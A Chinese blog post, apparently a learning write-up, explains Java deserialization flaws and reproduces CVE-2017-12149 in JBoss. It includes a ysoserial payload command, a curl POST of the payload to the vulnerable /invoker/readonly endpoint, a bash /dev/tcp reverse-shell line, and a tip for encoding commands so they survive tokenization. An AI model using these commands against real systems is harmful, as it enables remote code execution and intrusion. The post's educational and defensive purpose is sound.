理解Java反序列化漏洞(1)

0x00 前言

这篇博客是对最近以来学习java反序列化漏洞的总结,再由CVE-2017-12149 JBoss 反序列化漏洞和 Webgoat 的分析复现,用到了Burp的插件 Java-Deserialization-Scanner 进而学习了 ysoserial 一个拥有多种不同利用库的Java反序列化漏洞payload生成工具的使用及部分源码分析。

1x00 Java反序列化漏洞

1x10 Java序列化与反序列化

Java的序列化(Serialize)与反序列化(Deserialize)是对IO流的一种机制。Java序列化的目标是将对象保存到磁盘中或允许在网络中直接传输对象。序列化机制将允许实现序列化的java对象转换成不依赖平台的字节序列,这些字节序列可以保存在磁盘上,或通过网络传输。而Java的反序列化可以把字节序列恢复为Java对象,也就是说序列化将一个Java对象写入IO流中,反序列化从IO流中恢复这个对象,目的是使对象可以脱离Java运行环境,实现多平台之间的通信与持久化存储。

那什么样的对象是允许实现序列化的呢?可序列化类必须实现 Serializable 和 Externalizable 两个接口之一,很多类已经实现了 Serializable ,这个接口是一个标记接口,它只是表示实现它的类是可序列化的。

所有在网上传输的对象的类都应该是可序列化的,主要应用在以下场景:

  • HTTP
  • RMI(Remote Method Invoke 远程方法调用,Java EE 的基础):是一组维护开发分布式应用程序的API,实现了不同操作系统程序之间的方法调用,其所有传递的参数,返回值都必须实现序列化。
  • JMX :JMX是一套标准代理与服务,用户可以在任何Java应用程序中使用它,Weblogic 的管理页面和整个 JBoss 都是基于 JMX 框架。

常用Java序列化与反序列化的方法

1
2
3
4
5
6
7
8
9
#序列化
FileOutputStream fos = new FileOutputStream("file.txt"); //创建一个ObjectOutpuStream() 输出流
ObjectOutputStream oos = new ObjectOutputStream(fos);
Person test = new SerializableTest();
oos.writeObject(test); //将一个SerializableTest对象输出到输出流中
#反序列化
FileInputStream fis = new FileInputStream("file.txt"); //创建一个ObjectInpuStream() 输入流
ObjectInputStream ois = new ObjectInputStream(fis);
Student st1 = (SerializableTest) ois.readObject();

tips:

  • ObjectOutputStream() 输出流是一个处理流,必须建立在其他节点流的基础之上,这个代码中 ObjectOutputStream() 的输出流建立在一个文件输出流的基础之上
  • writeObject() 方法将一个对象写入输出流,这时生成了一个”file.txt”的文件,该文件的内容就是 SerializableTest 对象的序列化数据,这里需要注意一点
  • 调用readObject() 方法读取流中的对象,返回一个 Object 类型的 Java 对象,如果程序知道该 Java 对象的类型,可以强制转换
  • 反序列化机制无须通过构造器来初始化 Java 对象

1x20 漏洞成因与影响

暴露或间接暴露反序列化 API ,导致用户可以操作传入数据,攻击者可以精心构造反序列化对象并执行恶意代码

最为出名的大概应该是:15年的Apache Commons Collections 反序列化远程命令执行漏洞,其当初影响范围包括:WebSphere、JBoss、Jenkins、WebLogic 和 OpenNMSd等。

2016年Spring RMI反序列化漏洞今年比较出名的:Jackson,FastJson

1x30 漏洞原理

先介绍一个相关知识

  • 序列化文件头是 ac ed 00 05 ac ed 声明使用了序列化协议 00 05是序列化协议版本

    具体的序列化后二进制字节数据含义可以参考 Java序列化机制原理

    ac ed 00 05 经过 base64 编码后为 ro0AB

来看一段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class test{
public static void main(String args[]) throws Exception{
//定义myObj对象
MyObject myObj = new MyObject();
myObj.name = "hi";
//创建一个包含对象进行反序列化信息的”object”数据文件
FileOutputStream fos = new FileOutputStream("object");
ObjectOutputStream os = new ObjectOutputStream(fos);
//writeObject()方法将myObj对象写入object文件
os.writeObject(myObj);
os.close();
//从文件中反序列化obj对象
FileInputStream fis = new FileInputStream("object");
ObjectInputStream ois = new ObjectInputStream(fis);
//恢复对象
MyObject objectFromDisk = (MyObject)ois.readObject();
System.out.println(objectFromDisk.name);
ois.close();
}
}

class MyObject implements Serializable{
public String name;
//重写readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
//执行默认的readObject()方法
in.defaultReadObject();
//执行打开计算器程序命令
Runtime.getRuntime().exec("notepad");
}
}

这次我们自己写了一个 class 来进行对象的序列与反序列化。

我们看到,MyObject 类有一个公有属性 name ,myObj 实例化后将 myObj.name 赋值为了 “hi” ,然后序列化写入文件 object 。

查看object文件是以ac ed 00 05开头,序列化成功

反序列化时调用重写的readObject()方法,导致了命令执行,打开了记事本

MyObject 类实现了Serializable接口,并且重写了readObject()函数 ,readObject() 方法的作用正是从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。

2x00 CVE-2017-12149

2x10 漏洞成因

这个漏洞出现在 JBoss 的 HttpInvoker 组件中的ReadOnlyAccessFilter 过滤器 doFilter() 方法中,此方法没有进行任何安全检查和过滤就尝试对接受的数据进行反序列化,造成了反序列化漏洞。

源码在jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet目录下的ReadOnlyAccessFilter.class文件中,其中doFilter函数代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException
{
HttpServletRequest httpRequest = (HttpServletRequest)request;
Principal user = httpRequest.getUserPrincipal();
if ((user == null) && (this.readOnlyContext != null))
{
ServletInputStream sis = request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(sis);
MarshalledInvocation mi = null;
try
{
mi = (MarshalledInvocation)ois.readObject();
}
catch (ClassNotFoundException e)
{
throw new ServletException("Failed to read MarshalledInvocation", e);
}
request.setAttribute("MarshalledInvocation", mi);

mi.setMethodMap(this.namingMethodMap);
Method m = mi.getMethod();
if (m != null) {
validateAccess(m, mi);
}
}
chain.doFilter(request, response);
}

可以看到doFilter()方法直接从http请求中获取数据,在没有进行检查或过滤的情况下,尝试调用readobject()方法对数据流进行反序列化操作,因此产生了反序列化漏洞。

影响版本

  • Jboss AS 5.x
  • Jboss AS 6.x

2x20 分析

先使用ysoserial生成序列化payload保存到文件中,然后利用curl命令将内容以POST方式发送到服务器端

ysoserial的用法如下

java -jar ysoserial.jar [payload] '[command]' > poc.ser

[payload] :利用库,根据服务器端程版本不同而不同,若如报错,可尝试更换其他利用库

[command] :待执行的命令

但实际操作时发现 java -jar ysoserial.jar CommonsCollections1 "touch /tmp/test" > poc.ser 生成的poc 通过 curl http://ip:port/invoker/readonly --data-binary @poc.ser 发送给服务端时,命令正常执行了

可当我想反弹一个shell时,bash -i >& /dev/tcp/127.0.0.1/21 0>&1命令执行失败,因此想对ysoserial工具的源码分析一下。

发现这工具是调用Runtime.getRuntime().exec()方法执行命令,所以先分析一下执行方法的过程,具体生成poc的payload分析之后再学习吧。

判断命令长度不为空,之后先对命令执行了 StringTokenizer() 方法

该方法源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/**
* Constructs a string tokenizer for the specified string. The
* tokenizer uses the default delimiter set, which is
* <code>"&nbsp;&#92;t&#92;n&#92;r&#92;f"</code>: the space character,
* the tab character, the newline character, the carriage-return character,
* and the form-feed character. Delimiter characters themselves will
* not be treated as tokens.
*
* @param str a string to be parsed.
* @exception NullPointerException if str is <CODE>null</CODE>
*/
public StringTokenizer(String str) {
this(str, " \t\n\r\f", false);
}

从StrringTokenizer的部分注释和源码可以看到,StringTokenizer会对/t/n/r/f进行分割,因此我们输入的如下命令

bash -i >& /dev/tcp/127.0.0.1/21 0>&1 会被分割成

1
2
3
4
bash
-i
>&
...

导致命令无法执行,因此我们需要先进行一次base64编码。

tips:在 Webgoat8 中的 Java 反序列化中会直接从用户输入中获取 Base64 的序列化对象,并盲目地反序列化,我们将通过一个序列化对象来利用此漏洞,该对象将出发POP链,以实现 RCE。利用时用到了 Burp 的一个插件 Java-Deserialization-Scanner ,该插件使用时也是基于 ysoserial 工具生成 poc 的。但是在实际利用时需要使用 Hibernate 5 重新编译 ysoserial 的源代码,并对输出 base64 从而生成 payload。ysoserial 源代码的分析我们放到后面在说,由于windows并不自带base64命令,所以需要自己写一个python脚本获取输出之后调用base64实现,可我现在的python水平好像这件事对我来说很麻烦。那怎么办呢!难道要用linux吗?不,通过在线网站 http://jackson.thuraisamy.me/runtime-exec-payloads.html 可以自动生成编码后的代码。

tips:Linux下的${IFS}也可进行编码,${IFS}的hex值是0x20 0x09 0x0a,因此不被分割,可以利用在写shell时的命令中。但是,${IFS}编码后的命令中有空格,文件名中有空格会造成命令解析不完整,写入文件会失败。而在反弹shell命令中,就会导致模糊的重定向错误,所以此处仅作为扩展内容补充说明

2x30 复现

这里我们使用了 ysoserial 的 CommonsCollections1 利用库

这里的反弹shell语句是上文在线网站编码后的

netcat 开监听端口

使用curl命令发送请求

curl http://172.16.12.2:8080/invoker/readonly --data-binary @poc.ser

服务器接收到以POST的方式发送的序列化数据,会进行反序列化,执行其中包含的命令,将Shell反弹

3x00 总结

对于一个使用了可利用库的Java应用,可以通过审计查找其中的反序列化方法readobject()或者交互式查看流量,寻找是否有序号化数据流(以ac ed 00 05)来查找其输入点,再看有没有进行检查或过滤,最后利用工具ysoserial验证是否存在反序列化漏洞

对Java反序列化有了一些理解,却不够深入。接下来的几篇博客可能不是有关java反序列化的漏洞了,但之后还是要陆陆续续学习一些像ysoserial利用的CommonsCollections和其他一些payload构造源码分析、Java的反射机制等等